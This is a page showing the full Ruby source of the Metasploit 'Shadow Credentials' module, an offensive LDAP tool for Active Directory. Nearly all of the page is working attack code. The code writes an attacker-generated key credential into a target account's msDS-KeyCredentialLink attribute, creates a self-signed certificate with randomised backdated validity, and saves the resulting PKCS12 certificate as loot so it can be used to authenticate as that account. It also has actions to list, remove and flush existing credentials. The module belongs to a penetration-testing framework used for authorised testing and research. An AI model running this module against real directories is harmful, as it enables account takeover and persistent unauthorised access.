Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/ldap/shadow_credentials.rb
19721 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
8
include Msf::Auxiliary::Report
9
include Msf::Exploit::Remote::LDAP::ActiveDirectory
10
include Msf::OptionalSession::LDAP
11
12
ATTRIBUTE = 'msDS-KeyCredentialLink'.freeze
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Shadow Credentials',
19
'Description' => %q{
20
This module can read and write the necessary LDAP attributes to configure a particular account with a
21
Key Credential Link. This allows weaponising write access to a user account by adding a certificate
22
that can subsequently be used to authenticate. In order for this to succeed, the authenticated user
23
must have write access to the target object (the object specified in TARGET_USER).
24
},
25
'Author' => [
26
'Elad Shamir', # Original research
27
'smashery' # module author
28
],
29
'References' => [
30
['URL', 'https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab'],
31
['URL', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials']
32
],
33
'License' => MSF_LICENSE,
34
'Actions' => [
35
['FLUSH', { 'Description' => 'Delete all certificate entries' }],
36
['LIST', { 'Description' => 'Read all credentials associated with the account' }],
37
['REMOVE', { 'Description' => 'Remove matching certificate entries from the account object' }],
38
['ADD', { 'Description' => 'Add a credential to the account' }]
39
],
40
'DefaultAction' => 'LIST',
41
'Notes' => {
42
'Stability' => [],
43
'SideEffects' => [CONFIG_CHANGES], # REMOVE, FLUSH, ADD all make changes
44
'Reliability' => []
45
}
46
)
47
)
48
49
register_options([
50
OptString.new('TARGET_USER', [ true, 'The target to write to' ]),
51
OptString.new('DEVICE_ID', [ false, 'The specific certificate ID to operate on' ], conditions: %w[ACTION == REMOVE]),
52
])
53
end
54
55
def validate
56
super
57
58
if action.name.casecmp?('REMOVE') && datastore['DEVICE_ID'].blank?
59
raise Msf::OptionValidateError.new({
60
'DEVICE_ID' => 'DEVICE_ID must be set when ACTION is REMOVE.'
61
})
62
end
63
end
64
65
def fail_with_ldap_error(message)
66
ldap_result = @ldap.get_operation_result.table
67
return if ldap_result[:code] == 0
68
69
print_error(message)
70
if ldap_result[:code] == 16
71
fail_with(Failure::NotFound, 'The LDAP operation failed because the referenced attribute does not exist. Ensure you are targeting a domain controller running at least Server 2016.')
72
else
73
validate_query_result!(ldap_result)
74
end
75
end
76
77
def warn_on_likely_user_error
78
ldap_result = @ldap.get_operation_result.table
79
if ldap_result[:code] == 50
80
if (datastore['LDAPUsername'] == datastore['TARGET_USER'] ||
81
datastore['LDAPUsername'] == datastore['TARGET_USER'] + '$') &&
82
datastore['LDAPUsername'].end_with?('$') &&
83
['add', 'remove'].include?(action.name.downcase)
84
print_warning('By default, computer accounts can only update their key credentials if no value already exists. If there is already a value present, you can remove it, and add your own, but any users relying on the existing credentials will not be able to authenticate until you replace the existing value(s).')
85
elsif datastore['LDAPUsername'] == datastore['TARGET_USER'] && !datastore['LDAPUsername'].end_with?('$')
86
print_warning('By default, only computer accounts can modify their own properties (not user accounts).')
87
end
88
end
89
end
90
91
def get_target_account
92
target_account = datastore['TARGET_USER']
93
if target_account.blank?
94
fail_with(Failure::BadConfig, 'The TARGET_USER option must be specified for this action.')
95
end
96
97
obj = adds_get_object_by_samaccountname(@ldap, target_account)
98
if obj.nil? && !target_account.end_with?('$')
99
obj = adds_get_object_by_samaccountname(@ldap, "#{target_account}$")
100
end
101
fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{target_account}") unless obj
102
103
obj
104
end
105
106
def check
107
ldap_connect do |ldap|
108
validate_bind_success!(ldap)
109
110
if (@base_dn = datastore['BASE_DN'])
111
print_status("User-specified base DN: #{@base_dn}")
112
else
113
print_status('Discovering base DN automatically')
114
115
unless (@base_dn = ldap.base_dn)
116
print_warning("Couldn't discover base DN!")
117
end
118
end
119
@ldap = ldap
120
121
obj = get_target_account
122
if obj.nil?
123
return Exploit::CheckCode::Unknown('Failed to find the specified object.')
124
end
125
126
matcher = SecurityDescriptorMatcher::MultipleAll.new([
127
SecurityDescriptorMatcher::MultipleAny.new([
128
SecurityDescriptorMatcher::Allow.new(:WP, object_id: '5b47d60f-6090-40b2-9f37-2a4de88f3063'),
129
SecurityDescriptorMatcher::Allow.new(:WP)
130
]),
131
SecurityDescriptorMatcher::MultipleAny.new([
132
SecurityDescriptorMatcher::Allow.new(:RP, object_id: '5b47d60f-6090-40b2-9f37-2a4de88f3063'),
133
SecurityDescriptorMatcher::Allow.new(:RP)
134
])
135
])
136
137
begin
138
unless adds_obj_grants_permissions?(@ldap, obj, matcher)
139
return Exploit::CheckCode::Safe('The object can not be written to.')
140
end
141
rescue RuntimeError
142
return Exploit::CheckCode::Unknown('Failed to check the permissions on the target object.')
143
end
144
145
Exploit::CheckCode::Vulnerable('The object can be written to.')
146
end
147
end
148
149
def run
150
ldap_connect do |ldap|
151
validate_bind_success!(ldap)
152
153
if (@base_dn = datastore['BASE_DN'])
154
print_status("User-specified base DN: #{@base_dn}")
155
else
156
print_status('Discovering base DN automatically')
157
158
if (@base_dn = ldap.base_dn)
159
print_status("#{ldap.peerinfo} Discovered base DN: #{@base_dn}")
160
else
161
print_warning("Couldn't discover base DN!")
162
end
163
end
164
@ldap = ldap
165
166
begin
167
obj = get_target_account
168
169
send("action_#{action.name.downcase}", obj)
170
rescue ::IOError => e
171
fail_with(Failure::UnexpectedReply, e.message)
172
end
173
end
174
rescue Errno::ECONNRESET
175
fail_with(Failure::Disconnected, 'The connection was reset.')
176
rescue Rex::ConnectionError => e
177
fail_with(Failure::Unreachable, e.message)
178
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
179
fail_with(Failure::NoAccess, e.message)
180
rescue Net::LDAP::Error => e
181
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
182
end
183
184
def action_list(obj)
185
entries = obj[ATTRIBUTE]
186
if entries.nil? || entries.empty?
187
print_status("The #{ATTRIBUTE} field is empty.")
188
return
189
end
190
credential_entries = format_ldap_to_credentials(entries)
191
192
print_status('Existing credentials:')
193
credential_entries.each do |credential|
194
print_status("DeviceID: #{credential.device_id} - Created #{credential.key_creation_time}")
195
end
196
end
197
198
def action_remove(obj)
199
entries = obj[ATTRIBUTE]
200
if entries.nil? || entries.empty?
201
print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.")
202
return
203
end
204
credential_entries = format_ldap_to_credentials(entries)
205
206
length_before = credential_entries.length
207
credential_entries.delete_if { |entry| entry.device_id.to_s == datastore['DEVICE_ID'] }
208
if credential_entries.length == length_before
209
print_status('No matching entries found - check device ID')
210
else
211
update_list = format_credentials_to_ldap(credential_entries, obj.dn)
212
unless @ldap.replace_attribute(obj.dn, ATTRIBUTE, update_list)
213
warn_on_likely_user_error
214
fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.")
215
end
216
print_good("Deleted entry with device ID #{datastore['DEVICE_ID']}")
217
end
218
end
219
220
def action_flush(obj)
221
entries = obj[ATTRIBUTE]
222
if entries.nil? || entries.empty?
223
print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.")
224
return
225
end
226
227
unless @ldap.delete_attribute(obj.dn, ATTRIBUTE)
228
fail_with_ldap_error("Failed to deleted the #{ATTRIBUTE} attribute.")
229
end
230
231
print_good("Successfully deleted the #{ATTRIBUTE} attribute.")
232
end
233
234
def action_add(obj)
235
entries = obj[ATTRIBUTE]
236
if entries.nil?
237
credential_entries = []
238
else
239
credential_entries = format_ldap_to_credentials(entries)
240
end
241
242
key, cert = generate_key_and_cert(datastore['TARGET_USER'])
243
credential = Rex::Proto::MsAdts::KeyCredential.new
244
credential.set_key(key.public_key, Rex::Proto::MsAdts::KeyCredential::KEY_USAGE_NGC)
245
now = ::Time.now
246
credential.key_approximate_last_logon_time = now
247
credential.key_creation_time = now
248
credential_entries.append(credential)
249
update_list = format_credentials_to_ldap(credential_entries, obj.dn)
250
251
unless @ldap.replace_attribute(obj.dn, ATTRIBUTE, update_list)
252
warn_on_likely_user_error
253
fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.")
254
end
255
256
pkcs12 = OpenSSL::PKCS12.create('', '', key, cert)
257
store_cert(pkcs12)
258
259
print_good("Successfully updated the #{ATTRIBUTE} attribute; certificate with device ID #{credential.device_id}")
260
end
261
262
def store_cert(pkcs12)
263
service_data = ldap_service_data
264
credential_data = {
265
**service_data,
266
address: service_data[:host],
267
port: rport,
268
protocol: service_data[:proto],
269
service_name: service_data[:name],
270
workspace_id: myworkspace_id,
271
username: datastore['TARGET_USER'],
272
private_type: :pkcs12,
273
# pkcs12 is a binary format, but for persisting we Base64 encode it
274
private_data: Base64.strict_encode64(pkcs12.to_der),
275
origin_type: :service,
276
module_fullname: fullname
277
}
278
create_credential(credential_data)
279
280
info = "#{datastore['LDAPDomain']}\\#{datastore['TARGET_USER']} Certificate"
281
stored_path = store_loot('windows.ad.cs', 'application/x-pkcs12', rhost, pkcs12.to_der, 'certificate.pfx', info)
282
print_status("Certificate stored at: #{stored_path}")
283
end
284
285
def ldap_service_data
286
{
287
host: rhost,
288
port: rport,
289
proto: 'tcp',
290
name: 'ldap',
291
info: "Module: #{fullname}, #{datastore['LDAP::AUTH']} authentication"
292
}
293
end
294
295
def format_credentials_to_ldap(entries, dn)
296
entries.map do |entry|
297
struct = entry.to_struct
298
dn_binary = Rex::Proto::LDAP::DnBinary.new(dn, struct.to_binary_s)
299
300
dn_binary.encode
301
end
302
end
303
304
def format_ldap_to_credentials(entries)
305
entries.map do |entry|
306
dn_binary = Rex::Proto::LDAP::DnBinary.decode(entry)
307
struct = Rex::Proto::MsAdts::MsAdtsKeyCredentialStruct.read(dn_binary.data)
308
Rex::Proto::MsAdts::KeyCredential.from_struct(struct)
309
end
310
end
311
312
def generate_key_and_cert(subject)
313
key = OpenSSL::PKey::RSA.new(2048)
314
cert = OpenSSL::X509::Certificate.new
315
cert.public_key = key.public_key
316
cert.issuer = OpenSSL::X509::Name.new([['CN', subject]])
317
cert.subject = OpenSSL::X509::Name.new([['CN', subject]])
318
yr = 24 * 3600 * 365
319
cert.not_before = Time.at(Time.now.to_i - rand(yr * 3) - yr)
320
cert.not_after = Time.at(cert.not_before.to_i + (rand(4..9) * yr))
321
cert.sign(key, OpenSSL::Digest.new('SHA256'))
322
323
[key, cert]
324
end
325
end
326
327